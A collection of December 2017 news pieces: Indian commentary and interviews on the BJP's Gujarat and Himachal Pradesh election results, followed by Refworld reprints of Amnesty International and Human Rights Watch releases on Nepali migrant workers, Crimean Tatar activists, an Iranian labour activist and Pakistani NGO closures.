A side point needs to be made in advance. While the exit polls got the BJP victory right, they overstated the partys prospects, bringing the profession into some disrepute. Clearly, the pollsters need to introspect as much as the BJP itself.

A small sigh of regret can probably be heard from another camp, with the Congress failing to break into the fortress, and Rahul Gandhi lost the opportunity of becoming Congress president on a triumphant note, with the reputation of a man who bearded the lion in his own den. But he came close and few Congressmen will deny him some credit for giving the BJP a huge scare.

The reality today is the BJPs ability to retain a state it has ruled continuously for 22 years, and where disaffection among many groups -- farmers, unemployed youth, and small businessmen fretting about GST compliance -- gave the Gandhi scion an opportunity to try and change the narrative in Gujarat. To its credit, the Congress party picked up these signals and went hammer and tongs at the chinks in the BJPs rusting armour.

Two men -- Narendra Modi and Amit Shah -- are totally responsible for rescuing the BJP from the jaws of an embarrassingly poor show, if not possible defeat, this time.

The possibility of an ignominious defeat in the prime ministers home state appeared real, with one pre-poll survey (by CSDS-Lokniti) putting the vote shares of Congress and BJP level at 43 per cent, and other polls showing a consistent downward trajectory in the vote share gap between the two parties. When vote gaps head in one direction, the possibility of a shock verdict could never have been ruled out.

Luckily, the Modi-Shah duo spotted the problems early, and worked hard to halt the slide from the last week of November onwards, and the results are there for everyone to see.

The shift in voter mood is the result of three proactive steps by the BJP: one involved making changes to GST pain points by mid-November, to make compliance easier; the next was to deploy Modi as the battering ram to ensure that Gujarati asmita and some religious undercurrents were infused into the election theme so that the economic failures of the government -- both at the Centre and state -- did not dominate the agenda; and the third was a bold decision to stop appeasing the Patidars by promising all kinds of quotas.

This would have ensured that any polarisation among Patels would have been at least partially offset by other castes weighing in favour of the BJP. The Patidar agitation damaged the BJP, and the party clearly has to figure out how to mollify this community which has often impacted outcomes in state elections.

Despite being bruised badly in this skirmish, a clear win despite loss of seats and vote share shows that Shah and Modi are masters of the electoral game, and know which emotional buttons to push when they face adverse voter reactions to their performance.

To be sure, this election was more important to the BJP than the Congress for the simple reason that a loss in the prime ministers home state would have sent strong signals that Modi was vulnerable, with consequences for governance in the remaining tenure of the central government, and prospects for gaining allies in the run-up to 2019. It needs underlining: any loss in Gujarat would have directly impacted Modis hopes for a second term.

Estranged ally Shiv Sena is already dancing with joy and other key allies like Chandrababu Naidu may still consider distancing themselves from the BJP in the run-up to 2019, as had happened with in 2004. But this need not happen if Modi and Shah now stop taking the allies for granted from now on.

The BJPs top duo know that in a situation where the BJP ends up with 180-200 seats in 2019, and the Congress a bit lower, it is the latter that can get the allies more easily. Under a strong leader like Modi, allies do not get the kind of operational freedom -- to run their ministries in silos and as vehicles for generating illegal cash -- as under a weak Congress party.

The Congress played all its cards correctly this time. It rightly decided that the BJPs core vote was Hindu, and realised that it repeatedly gifted past elections away by drumming up 2002 and playing the minority card. This time, Rahul Gandhi spent most of his time temple-hopping, and focused on economic themes. He gave almost no time to wooing minorities, assuming that their vote is always there for the Congress if it looks like winning.

But this is where the BJP reversed the tables. In the previous three elections, the BJP did not have to create the majority-minority fault lines; the Congress did it, and the BJP happily harvested the vote.

But with Gandhi rushing to temples to prove he is a true Hindu, it was the BJP that had to subliminally invoke this fault line by references to Congress plots with Pakistani nationals, and references to Aurangzeb.

This was Modis lowest point, but this was probably needed to pull the party over the finish line where the possibility of economic themes dominating was real. But the Congress really needs to rein in its loudmouths, including Mani Shankar Aiyar, who have given Modi an entry point with his neech comment, and Kapil Sibal, with his decision to bat for a delay in the Ayodhya hearings and comment that Modi is not a true Hindu.

The key thing to realise about Modi is that he is a different person when campaigning, and different when he is just prime minister. As PM, he is the very epitome of political correctness. But give him an election challenge, and he dives in with a no-holds-barred approach whenever he thinks it can deliver the vote.

In Uttar Pradesh, we noted Modis references to samshanghat and kabristan, and few were any wiser understanding what the need was for that reference. But surely this reference came from a local fault line that was worth harvesting.

What Gujarat shows it that Modi and Shah play to win.

The rules are there to be followed when it suits them, and broken when that helps.

The narrow Gujarat win and the big win in Himachal Pradesh places the BJP in a degree of comfort for 2019, and even potential losses in the 2018 elections -- in Karnataka, Chhattisgarh, Rajasthan and Madhya Pradesh -- cannot change that script. Reason: in 2019, people will be voting for Modi, and not Shivraj Singh Chouhan or Vasundhara Raje or B S Yeddyurappa. This is why Gujarat was a state the BJP could not afford to lose. A loss here, even if there were wins elsewhere, would have weakened Modi more than anything else.

But the BJP has a huge challenge ahead and must learn the right lessons from the Gujarat scare.

First, its the economy, stupid. In the last three-and-a-half years, the central government has not been able to reverse the slowdown or enable jobs creation. It simply has not come to grips with this challenge. This has to be priority No 1 in 2018.

Second, the party has been taking its core Hindu and business vote for granted - which is why the PM had to tug at the Hindu chord and rush to fix the GST pain points towards the end of the election campaign.

The danger is that the BJP should not now let things slide to a point where communal polarisation gets out of hand by 2019 and the key to BJP victory. The Congress has realised that it cannot be seen as a pro-minority, anti-Hindu party, which may push the BJP to take more extreme positions on wooing back the Hindu vote. The Gujarat vote marks a split in the BJPs Hindu vote bank for the first time since 2002.

Third, the BJP has to learn the same lesson that the Congress has refused to learn: state elections need visible state leaders and leaders should not be imposed from above. This, unfortunately, is what the BJP did by imposing Vijay Rupani as Gujarat CM, and he has duly failed to enthuse the cadre and even came close to losing his seat.

The BJP clearly needs a state leader who has the support of the local party and who looks to be his own man and does not look to Delhi for rescue every time he gets into a political jam. The state governments inability to handle the Patidar challenge is the direct result of this lack of credible local leadership.

For the Congress, the lessons are simple.

First, as the challenger party it has to focus on the governments failures and not on proving whether Rahul Gandhi is a genuine janeu-dhari Hindu or not. By shifting focus to Hindu identity, it is playing on the BJPs turf. The only thing it needs to ensure is to stop encouraging minority communalism to reap a bloc Muslim vote.

Second, it needs to develop local leaders even more than the BJP. This lack might be what prevented it from making a decisive dash for victory even when ground conditions were favourable in Gujarat.

Third, it needs to worry about new challenges to its leadership from the rise of young and aggressive leaders like Hardik Patel, Alpesh Thakor and Jignesh Mewani. Like the rise of Arvind Kejriwal in Delhi, these new leaders may well find more traction than the Congress in future.

The rise in the Congresss performance is a plus but it has ridden on the shoulders of new youth leaders. The question is why would they want the Congress to gain from their efforts when they could be gaining political muscle themselves? Hardik Patel was not old enough to stand for elections this time but in the next elections, he could be a candidate himself.
Modi-Shah can complain about the Congress playing caste politics but the fact is that in Gujarat it is threatening to return to the old normal. Caste again threatens to divide what Hindutva has kept united for 25 years, says Shekhar Gupta.

Image: Congress party supporters celebrate after a candidates win in the assembly elections, outside the Gujarat College counting centre in Amedabad, on December 18, 2017. Photograph: Santosh Hirlekar/PTI Photo.

The BJP would be right to declare its mission Himachal Pradesh and Gujarat a total success and launch one full-throated celebration. Then, why is its response muted?

In his press conference on Monday, instead of beaming his usual, post-conquest smile, BJP President Amit Shah had a frown, and a few complaints: About the Congress and how it coarsened the campaign in Gujarat.

This is a first since 2014, when any contest with the Congress has been a walkover for the BJP. And where the Congress did a little bit better but fell short of a majority, as in Goa and Manipur, the BJP simply walked across, gravy train in tow, and conjured up a government of its own.

So far, the only post-poll comments on the Congress had been jeers, mocking pity, and ridicule.

The Congress has been thrashed in Himachal and lost a sixth consecutive election in Gujarat. Yet it has given the almighty national ruling party a cause to complain. That is what makes this election different.

Three things are crucial to this: Place, timing, and the social algebra, in that order.

Place, because Gujarat is the political karmabhoomi of Narendra Modi and Amit Shah. Both, especially Modi, have a demi-god status there and the very fact that they got such a fright is change. It has shown the people of Gujarat and the rest of the country that the prime minister can be challenged within his state. Until this campaign peaked, nobody in his party would have imagined its numbers falling in the first state election under Modi as PM.

Modi has a unique position in Indian politics. He is the first state leader to rise to the top at the Centre, and on his own steam. No prime minister of any durability until now represented a state. Modi rose from Gujarat, a mid-sized state. When he goes back to his fellow Gujaratis and makes an emotional appeal, you do not expect him to be run this close.

Timing is important because this coincides with the anointment of Rahul Gandhi as Congress president, so delayed that it had become a joke. It was also affirming his reputation for diffidence and reluctance to take responsibility. He did that this time, dedicated time, energy, and focus on the campaign in the most challenging state for his party, and returned with a pretty good score-card, if not a victory.

In the BJPs -- and popular -- view, Rahul has now morphed into a potential challenger from being a perpetual joke.

And social algebra, because the challenge for the BJP has always been to use Hindutva to reunite what caste divided.

L K Advani used the Mandir issue in the 1990s to achieve that briefly. Modi is doing it by redefining Indian nationalism in terms of the majoritys faith. This majoritarian nationalism enabled him to sweep Uttar Pradesh earlier this year as many Hindu groups dumped their local caste loyalties and voted for the BJP.

The new caste linkages the Congress stitched up in Gujarat -- with Patel, OBC and Dalit leaders -- have challenged that construct in the state Modi-Shah would have considered their safest. They can complain about the Congress playing caste politics but the fact is that in Gujarat it is threatening to return to the old normal. Caste again threatens to divide what Hindutva has kept united for 25 years.

That is why even two clear BJP victories make it such a watershed election. It has opened up the political space which had seemed locked and sealed until the summer of 2019.

After the 2014 sweep, the BJP had vowed to create a Congress-mukt Bharat. It was well on its way there, knocking over state after state. With Mondays result, it begins a fresh term in a Congress-yukt (including Congress) Gujarat.

This is as radical a change in script as you could have in your fourth year in power, without actually losing a state election.

By special arrangement with ThePrint.
'Modi's charisma has started fading.'

IMAGE: Prime Minister Narendra D Modi after casting his vote in the Gujarat assembly election. Photograph: PTI Photo

On Monday, December 18, the Bharatiya Janata Party made history by winning the Gujarat election for the sixth time in a row.

Exit polls had suggested that the Narendra D Modi-led BJP would win the state. However, it was Dr Vidyut Joshi, former vice-chancellor, Bhavnagar University and former director of the Centre for Social Studies, Surat, who accurately predicted that the BJP would win less than 100 seats whereas the Congress would win around 85 seats in an interview to Rediff.com a month ago (Please see: Gujarat: 'BJP 95-98 seats; Congress 85')

With the election result vindicating him, Dr Joshi deciphers the Gujarat results in an interview with Rediff.com's Syed Firdaus Ashraf and what comes next for the BJP and Congress in the future.

Your prediction of the BJP getting 95 to 98 seats and Congress winning 85 has come true.

It has come exactly as I predicted. I am happy. People from both parties told me that I was spot on.

I am happy that this result may bring sobriety to the BJP.

The hegemony of the BJP was too much in Gujarat.

Secondly, the Congress has emerged a powerful second party in Gujarat. They will now be a strong Opposition, which is a good sign for democracy.

Thirdly, there were 10 small parties in the fray who have not won. Only one candidate of the NCP (Nationalist Congress Party and one JD-U (Janata Dal-United) candidate won.

The BJP won 127 seats in 2002. In 2017, it won 99. Do you think these results indicate that people are disillusioned with the BJP?

If you see the trend, eight BJP ministers have lost the elections.

Two very good politicians of the BJP -- Jay Narayan Vyas and Mahendra Mashru -- lost. They should not have lost as both of them are very nice guys.

But this incident will be a reality check for the BJP. I always say jokingly that Jay Narayan Vyas is the best Gujarat chief minister the state never had.

This result has revived the Congress for further battle in other states. Even in their party, all big Congress leaders lost elections.

Arjun Modvadia, Tushar Chaudhary, who is Amarsinh Chaudhary's son, Chimanbhai Patel's son Siddharth Patel, Shaktisinh Gohil also lost.

Congress leaders who won are all below the age of 50 such as Alpesh Thakore. All Congress leaders over the age of 65 lost.

Traders will never take on the government. Thirty-five per cent of Gujaratis are merchants and even if they are against the government they do not go against the cardinal rule that they will not take on the establishment.

So what kind of voters chose the Congress party? Is it a youth vote for the Congress?

Among the Patidars and the urban businessman, the Patidars voted for the BJP.

For instance, in Surat -- a stronghold of the Patidars -- the Congress lost. However, in Amreli, the BJP lost because the Patidars in Amreli are farmers.

You will see the same thing in other rural areas of Gujarat. Those Patidars did not like speedy industrialisation and the BJP's land acquisition policy.

What about the Hardik Patel factor?

It worked for the Congress in places like Amreli and Somnath, but less in Surat.

His rallies were huge and people went to see him. However, one has to understand the fact that the merchant community does not go against establishments.

Traders will never take on the government. Thirty-five per cent of Gujaratis are merchants and even if they are against the government they do not go against the cardinal rule that they will not take on the establishment.

What about GST and demonetisation?

These issues are there, but they know the fact that it is only the ruling party and the government that can solve their problems.

One has to understand this fact that there can be a farmers' movement, but you will never find traders leading a movement.

Even in the Muslim communities of the Bohras, Memons and Khojas, they are traders and they support the BJP whereas other Muslims will vote for the Congress.

In rural Gujarat, the Congress did very well, but in urban areas, it ailed miserably. Why?

One thing is certain, the BJP stands for speedy industrialisation, urbanisation and investors.

Obviously, urban people will vote for them and rural areas will be losers.

There are 67 seats of corporations in Gujarat and the BJP has won almost 62 seats.

More the urbanisation, it is advantage BJP because of their policies.

Do you think Mani Shankar Aiyar's neech comment about Prime Minister Modi made any difference to the result?

Very little. When Modi makes such statements, people do not believe.

IMAGE: 'People in Gujarat have started realising the lies that Modi peddles. He had promised big things, but has been unable to deliver on them.' Photograph: Danish Ismail/Reuters

What are you saying!

Yes, they do not believe it. People booed Modi's speeches.

One woman threw bangles in front of Modi and she was dragged out and thrown out of the rally.

In North Gujarat, people booed Modi and they had to tell cameramen to not show those visuals.

Also, Modi's rallies were not as big as Hardik. Modi's charisma has started fading.

What is the reason?

Firstly, it is his policies.

Secondly, people have started realising the lies that Modi peddles.

People do not trust him.

Three years ago when I used to say things against Modi, I would be beaten up.

Today, even BJP people ask me my opinion and they note down my analysis.

Do people doubt Modi?

This change had to come. Modi gave big speeches and the things he promised didn't happen.

He said farmers will get insurance and they did not get it.

He said farmers will get crop price, but he did not give it.

He said the government will pay the procurement of cotton price at Rs 1,400, but did not pay and instead gave Rs 850.

So people understand that Modi doesn't speak the truth.

Will this have any repercussions for PM Modi in 2019?

I feel it is the bankruptcy of the Congress party, but if they design their plans well they can take on the BJP.

Unfortunately, there is intellectual bankruptcy in the Congress party and there are only sycophants left in the party.

All top Congress leaders lost the elections and the people who lose their own seats, how can you expect them to win elections?

The new people who have joined Congress, they are not that experienced to take on the BJP.

The BJP had set a target of winning 150 seats. However, it won only 99. Do you think it is a slap from voters to the BJP?

Yes, it is a slap in the BJP's face because they expected to win 150 seats.

Another point is that Shankarsinh Vaghela's political life is over and his son's political future too is over. None of his candidates could save their deposits.

IMAGE: Dr Joshi believes that in 2019, only if Rahul Gandhi stitches an alliance with other Opposition parties can the Congress take on the BJP. Photograph: Amit Dave/Reuters

But the BJP is saying 'jo jeeta wohi sikandar.'

They won no doubt, but eight ministers lost. Now they will have a tough time to get those ministers.

Bhupendra Chudasama, Gujarat's education minister, someone who won seven times from his constituency, won by only 300 votes. Therefore, the BJP will have to sober down if it wants to rule.

Why didn't the Hindutva factor work in Gujarat?

The Hindutva factor started from the 1990s in Gujarat beginning from the Somnath Rath Yatra till Ayodhya. In 2002, it peaked post the Godhra riots.

In 2007, Modi realised that this Hindutva factor will not work for long. So he fought the 2007 elections on 'sadbhavna' and not Hinduism.

In 2012, he fought the elections on vikas and not even on sadbhavana.

I recall he used 'Ahmed Miya' for Ahmed Patel at a rally during the 2012 election.

Modi has a habit of throwing one-liners at public meetings. He then checks the public's mood if they like it. Then he will make it an issue.

If the people do not like it, he will drop it. This time, he again threw one-liners about Ahmed Patel, but realised immediately that the people were not interested, so he did not go on harping on that issue.

Hinduism did not work this time in elections.

People of Gujarat feel the BJP is good for nothing, but are voting for Modi

What does this mean for the 2019 Lok Sabha election? The BJP won all 26 Lok Sabha seats in Gujarat in 2014. Will it repeat that magic again?

If you compare this 2017 assembly election with the 2014 election you will find that the BJP won in 160 assembly seats by winning all the 26 Parliamentary seats.

However, this time, they won only 99 assembly seats and not 160 assembly seats.

They did not win that big means there is a churn happening in Gujarat politics.

Now it is up to the Congress party to understand this churn and make an analysis to win the 2019 elections.

Unfortunately, they do not have the brains in the party. The Congress will be able to take cudgels with the BJP, but I feel the BJP and the NDA (National Democratic Alliance) will get a majority in the 2019 election.

Only if Rahul is able to successfully form an alliance across different parties like the BSP (Bahujan Samaj Party), SP (Samajwadi Party), Trinamool Congress, DMK (Dravida Munnetra Kazagham), then something might happen.

However, I feel by 2024 the BJP will lose.

Do you feel that Modi's emotional hold on Gujarati voters is intact as they did not let him down and gave the BJP a victory?

Yes, it is very evident. The people of Gujarat feel the BJP is good for nothing but are voting for Modi.

My driver or even my maid only wants to know whether Modi will win or not.

When I tell them Modi is not contesting the Gujarat assembly election they say they are voting only for Modi.
Fund crunch may come in the way of infrastructure development; womens safety another issue that will be in focus, reports Aditi Phadnis.

With no clarity on who will be the new chief minister of Himachal Pradesh, the challenges for the Bharatiya Janata Party in running this state are going to be colossal.

-- Himachal Pradesh polls: Full coverage

Towards the end of the campaign, Prem Kumar Dhumal was announced as the partys chief ministerial face. Many in the party had celebrated. Although, at 75, Dhumal was seen as an interim chief minister, he was also seen as a uniting factor, a senior in the faction-ridden BJP.

No one had expected him to lose his Sujanpur seat to Congresss Rajinder Rana. In fact, Dhumal had changed his seat from Hamirpur, from where he was a sitting member of the legislative assembly. Varinder Kanwar, who won from Kutlehar in Una district, has offered to vacate his seat for Dhumal.

A possible CM face now could be J P Nadda, Union health minister. He is a Rajya Sabha member from Himachal, and was an elected MLA in 1993, 1998 and 2007, when he was given the portfolios of forests and environment as well as science and technology.

He was associated with the Akhil Bharatiya Vidyarthi Parishad during his student days in Patna. His father was the vice-chancellor of Ranchi University in 1977.

However, Nadda, a Brahmin, could find the odds against him because of his caste in a state where Thakurs rule the roost, thanks to their numerical strength of over 28 per cent.

However, finding a chief minister is the least onerous of the BJPs problems. In its manifesto, the BJP had pledged to end mafia raj -- the alleged nexus between forest and mining contractors and government officials. Womens safety in the state was also hotly debated, especially after the rape of a young woman near Shimla. The BJP promised to make it safer for women to venture out alone. The party, borrowing a leaf out of the Madhya Pradesh units election book, had also promised senior citizens free pilgrimages.

Fulfilling these promises would cause no pain. What would make a dent in the finances is infrastructure creation -- the promise that roads would be built to every village and that compensation be raised for land acquired in developmental projects.

Road-building has been neglected because of a fund crunch -- on account of the state governments policy on compensation. When the Centre announced liberalisation of compensation for land acquired for government projects, state governments were given the independence to fix compensation.

When the Virbhadra Singh government decided to build a four-lane Nagchala-Kullu-Manali road, this was a problem the project had ran into. He had conceded that land losers would be paid only factor one (double the value of the land) because the state government could not afford to pay four times its value. Finally, the Centre had to take over the project.

The new BJP government is tied down by its manifesto promise of paying a compensation that is four times the value. The new government would have to work out how.

Image: Prem Kumar Dhumal, announced as the partys chief ministerial face on the eve of the election, was seen as a uniting factor, a senior in the faction-ridden BJP. No one expected him to be defeated.
The chief minister is not being hailed as the leader who led the party to a victory in the state.

Sohini Das and Vinay Umarji report.

IMAGE: BJP leaders offer sweets to Gujarat Chief Minister Vijay Rupani after the party's victory in the state. Photograph: PTI Photo

The Bharatiya Janata Party on Monday decided to make Finance Minister Arun Jaitley and party general secretary Saroj Pandey as observers for the selection of chief minister in Gujarat.

The decision was taken at the partys parliamentary board meeting, which was attended by Prime Minister Narendra Modi, BJP chief Amit Shah and other senior leaders, Union minister J P Nadda told reporters. According to a report, sources in the BJP claimed the observers would arrive in Gujarat in a couple of days. MLAs will propose their candidates and a decision will be taken through consensus. Deciding on the chief minister will take four or five days, a source said.

During the campaign, Shah had said incumbent chief minister Vijay Rupani was the partys face for the assembly elections. But Rupani is not being hailed as the leader who led the party to a victory in the state.

Prime Minister Narendra Modi addressed 36 rallies in the state in the run-up to the elections, while all top Cabinet ministers from Delhi as well as several chief ministers from other BJP-ruled states chipped in to clinch this victory in Gujarat.

Rupani is the first BJP chief minister after Modi to face elections in Gujarat. He fought from a constituency (Rajkot West) from where Modi had contested his first election. He won by a comfortable margin from a seat that is considered safe and a Rashtriya Swayamsevak Sangh stronghold. However, the Congress candidate Indranil Rajyaguru, a local businessman, has given Rupani a close fight in a safe seat.

A surprise candidate picked by Amit Shah to replace Anandiben Patel as chief minister in August 2016, Rupani has been fighting fires ever since he assumed office last year. A Jain-Baniya, a caste that makes up five per cent of Gujarats population, Rupani was considered a neutral candidate at a time when his predecessor had failed to curb the Patidar agitation and Dalit movement in the state.

However, while the movements are far from over -- Patidar leader Hardik Patel on Monday claimed that their movement would continue in full fervour -- perhaps the BJPs need for a caste-neutral candidate as chief minister is over.

Surats Patidar community had chosen to vote pro-incumbent. The Patidar vote is split among merchant Patidars (pro-BJP) and farmer Patidars (anti-BJP). The Congress managed to gain a foothold in the Patidar-dominated agrarian belt of Saurashtra and the BJP retained the urban Patidar belt of Surat in south Gujarat.

As a leader from Saurashtra, the party expects Rupani to exercise considerable clout over the region. Rupani has not been able to douse the fire among the regions Patidars where Hardik Patel led an aggressive campaign. This is despite the chief minister visiting Rajkot almost every weekend in the past year.

Names are being thrown around, including that of Shah, who could be keen to take over as chief minister of Gujarat. Rupani, some speculated, was chosen as a caretaker chief minister. However, political observers said Shah might choose to concentrate on state elections next year by staying in Delhi.

Deputy Chief Minister Nitin Patel is another candidate. He was a close contender for the chief ministers post when Anandiben Patel stepped down. A political veteran and a Patidar himself, 2018 may just turn out to be Nitin Patels year.

Another name doing the rounds is that of Gujarat BJP President Jitu Vaghani, who won a tough battle in Bhavnagar. Vaghani, 47, is young and just might make the cut.
Disclaimer

This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.
Nepal: Migrant workers failed by government, exploited by businesses

Publisher Amnesty International Publication Date 18 December 2017 Cite as Amnesty International, Nepal: Migrant workers failed by government, exploited by businesses, 18 December 2017, available at: https://www.refworld.org/docid/5a39018b5.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

New research by Amnesty International has exposed how the Nepali government's failure to crack down on recruitment agencies which charge illegal fees for jobs abroad is leaving migrant workers trapped in a vicious cycle of debt and exploitation.

The organization found that almost two-thirds of Nepali migrant workers who responded to a survey, carried out in Nepal and Malaysia and published today, had paid excessive, illegal recruitment fees.

"Nepali migrant workers are being systematically and mercilessly set up. Forced to take out loans to pay the huge fees recruitment agencies charge them to work abroad, they are left so indebted that they have no choice but to stay in jobs which often turn out to be low-paid or dangerous," said James Lynch, Deputy Director of Amnesty International's Global Issues Programme.

"The Nepali government's weak enforcement of the law is playing straight into the hands of extortionists and loan sharks. Migrant workers all too often end up trapped in the soul-destroying situation of working abroad for years simply to pay off the huge, often illegal fees they were charged to take the job. Tackling this exploitative industry is a matter of urgency."

A cycle of debt and deception

The vast majority (88%) of participants in Amnesty International's mobile phone survey of 414 Nepali migrant workers reported that they paid fees to agents for their jobs overseas. Because these fees are so high, the majority had to borrow more than half the sum from village moneylenders, placing them in debt.

Workers' calculations about how they will repay these loans are often derailed by unpaid wages or other forms of labour exploitation. More than half of the workers (53%) surveyed said that they received lower monthly salaries than what was promised to them by recruitment agents.

In July 2015 the Nepali government introduced the "Free Visa, Free Ticket" policy, which reduced the maximum fee workers could be charged to NPR 10,000 ($96) in response to local and international pressure.

But the policy is clearly not being properly enforced. In June 2017 Amnesty International released a report, Turning People into Profits, which found that recruitment agencies were still freely exploiting migrants by charging above the limit.

Only one in five (20%) of workers surveyed by Amnesty International said the government was implementing the policy.

The new survey adds to this picture of country-wide exploitation, which is flourishing under an often indifferent government.

Recruitment agencies who charge illegal fees often go to great lengths to evade scrutiny, including sending middlemen to collect the money rather than receiving it directly themselves. In Amnesty International's survey, 90% of workers who had paid a recruitment fee did not receive an accurate receipt from agents. This makes it very difficult for them to file legal cases against unscrupulous agents and claim this money back.

Disturbingly, some of these recruiters - who trap workers into bonded labour by saddling them with huge debts - market Nepali workers to prospective foreign clients by highlighting how unlikely they are to leave their jobs.

Amnesty International reviewed and analysed 100 Nepali recruitment websites, and found that Nepali workers are frequently advertised with descriptions such as "loyal" and "completely dedicated to work even in adverse situations".

In November this year Amnesty International interviewed four Nepali workers whose agents deceived them about their working conditions. They were told they would work in a factory in Malaysia making labels for plastic bottles; but instead, they were sent to a steel manufacturer and asked to perform dangerous jobs without training.

After witnessing several on-the-job injuries, the men tried to leave but the company would not pay for their tickets home or return their passports.

Heavily indebted after paying US $1,200 in recruitment fees, the men said they were trapped, scared, and unable to return home without money to buy plane tickets.

The men were only able to return to Nepal in mid-2017 after fleeing the company and getting their families to take out new loans to fund their journey back home. They are now in Nepal, considering how to pay off the vast debts they have accrued. Migrating again is likely to be their only viable option.

Amnesty International is urging the Nepali government and businesses to do more to tackle the corruption that is rampant in the recruitment industry in Nepal.

"The Nepali government must do more to protect migrant workers, who make unimaginable sacrifices by leaving their loved ones for years to work overseas, and in return are cheated and exploited. A good start would be to penalize recruitment agencies that are not complying with the law," James Lynch said.

"Companies who employ migrant workers in the Gulf and Malaysia directly or through their suppliers or subcontractors also have a responsibility. They need to take steps to prevent exploitative labour recruitment, and ensure that migrants in their supply and contracting chains who have paid recruitment fees are reimbursed. Until they take action, they are reinforcing the debt trap that is destroying so many lives in Nepal."

Background

Amnesty International conducted mobile phone surveys in Malaysia with groups of migrants working in different sectors, as well as in Nepal with migrants who had returned home after undertaking foreign employment in Malaysia or Gulf countries.

Copyright notice:  Copyright Amnesty International
Crimea: More than 70 Crimean Tatar activists put on trial simultaneously in brazen crackdown

Publisher Amnesty International Publication Date 18 December 2017 Cite as Amnesty International, Crimea: More than 70 Crimean Tatar activists put on trial simultaneously in brazen crackdown, 18 December 2017, available at: https://www.refworld.org/docid/5a3906a34.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

Crimea: More than 70 Crimean Tatar activists put on trial simultaneously in brazen crackdown

18 December 2017, 13:42 UTC

Reacting to the simultaneous trials today of more than 70 Crimean Tatar activists charged after they each staged peaceful, individual demonstrations across multiple locations in the Russia-occupied Crimean peninsula, Oksana Pokalchuk, Amnesty International Ukraine's Executive Director, said:

"The occupying Russian authorities push ever further the limits of their remorseless reprisals against the Crimean Tatar minority, this time by pursuing scores of peaceful Crimean Tatar activists en masse.

"So-called 'single person picketing' does not require prior authorization by the authorities and so this protest - though carefully choreographed across many locations - was entirely legal. The Russian authorities are simply sweeping up anyone who participated in order to punish them for daring to speak out.

"The persecution of Crimean Tatars is not new. Russian authorities have already forcibly exiled or jailed Crimean Tatar leaders, banned their representative body, Mejlis, and stifled the Crimean Tatar-language media. With this latest move they are aiming to shut down individuals' expressions of dissent and deprive them of the right to voice their dissatisfaction."

Background

The trials will take place today in courts all over the Russia-occupied Crimean peninsula, including in the region's capital Simferopol, and the cities of Alushta, Belogorsk, Dzhankoy, Sudak, and Kirovsky, Krasnogvardeysky and Sovetsky districts.

All activists are charged with "violation of the procedure for organizing or holding gatherings" for participating in single-person picketing that took place on 14 October. On that day, dozens of Crimean Tatars activists took to the streets to demand respect for their human rights and denounce Russian reprisals against their community. Police officers have regarded these single-person pickets as a "mass unauthorized protest".

Those already convicted were fined 10.000 rubles ($170), a huge amount in the region where the average monthly wage is 24.000 rubles ($410).

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Iran: Free Ailing Labor Activist

Publisher Human Rights Watch Publication Date 16 December 2017 Cite as Human Rights Watch, Iran: Free Ailing Labor Activist, 16 December 2017, available at: https://www.refworld.org/docid/5a3907504.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

Iranian authorities should immediately release Reza Shahabi, a prominent labor activist, after he suffered a possible stroke in prison, Human Rights Watch said today. Medical experts who examined Shahabi said that he should be released for medical reasons.

The Syndicate of Workers of Tehran and Suburbs Bus Company (SWTSBC), of which Shahabi is a member, said that Shahabi told his family of his condition during a December 13, 2017 prison visit. He said he had seen the prison doctor after symptoms that included "drooping on the left side of his face." Shahabi told his family that the doctor told him that he had probably had a mini-stroke, but that the doctor had not conducted any further medical examinations or follow-up.

"Allowing Reza Shahabi's health to deteriorate further in prison, especially when he was imprisoned solely for his peaceful activism in the first place, is just cruel," said Sarah Leah Whitson, Middle East director at Human Rights Watch. "Iranian authorities should immediately and unconditionally release Shahabi."

Shahabi's union said that medical experts who had examined Shahabi before had determined that Shahahi should not continue to serve his prison sentence due to his medical condition.

Since 2005, authorities have repeatedly harassed, summoned, arrested, and sentenced workers who are affiliated with independent trade unions in Iran.

Authorities first arrested Shahabi, 45, for his activities as a member of the SWTSBC on June 12, 2010. Branch 15 of Tehran's revolutionary court sentenced him to six years in prison and deprived him of "social rights" such as holding a public office or working in any governmental organizations, for five more years on charges of "conspiracy and collusion to act against national security" and "propaganda against the state."

In May 2014, authorities released Shahabi on medical furlough, with the promise that he would not need to return to prison, Center for Human Rights in Iran reported. After being released from prison, Shahabi, who had been fired from his job, began working at a small mini-market with his wife.

On August 7, 2017, Shahabi returned to prison to serve the remainder of his prison sentence after receiving several warnings from the judiciary that he would lose his bail if he refused to go back.

Over the past year, authorities have sent back to prison several prominent trade unionists sentenced for peaceful activities but then later released on bail. They include Ismael Abdi, the Teachers' Union secretary general, on June 7, and Mahmoud Beheshti Langeroudi, the Teachers' Union's spokesperson, on September 13.

Human Rights Watch, United Nations Experts, and other human rights organizations have documented numerous occasions on which authorities deprived prisoners in Iran of needed care. In August, several prisoners charged with vaguely defined national security charges, including Shahabi, embarked on a hunger strike in Rajai Shahr prison to protest the conditions of their detention, including a lack of access to medical care.

International and Iranian law require prison authorities to provide adequate medical care. Iran's state prison organization regulations state that, if necessary, detainees must be transferred to a hospital outside the prison facility. The UN Standard Minimum Rules for the Treatment of Prisoners require authorities to transfer all those held needing specialist medical treatment to specialized institutions, including civilian hospitals

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Pakistan: Government Shutters International Groups

Publisher Human Rights Watch Publication Date 16 December 2017 Cite as Human Rights Watch, Pakistan: Government Shutters International Groups, 16 December 2017, available at: https://www.refworld.org/docid/5a3925e34.html [accessed 18 November 2022] Disclaimer This is not a UNHCR publication. UNHCR is not responsible for, nor does it necessarily endorse, its content. Any views expressed are solely those of the author or publisher and do not necessarily reflect those of UNHCR, the United Nations or its Member States.

The Pakistani government's decision to shut down at least 10 organizations without providing valid reasons violates rights to freedom of expression and association, Human Rights Watch said today. Organizations affected include prominent groups working on human rights, humanitarian assistance, and development issues.

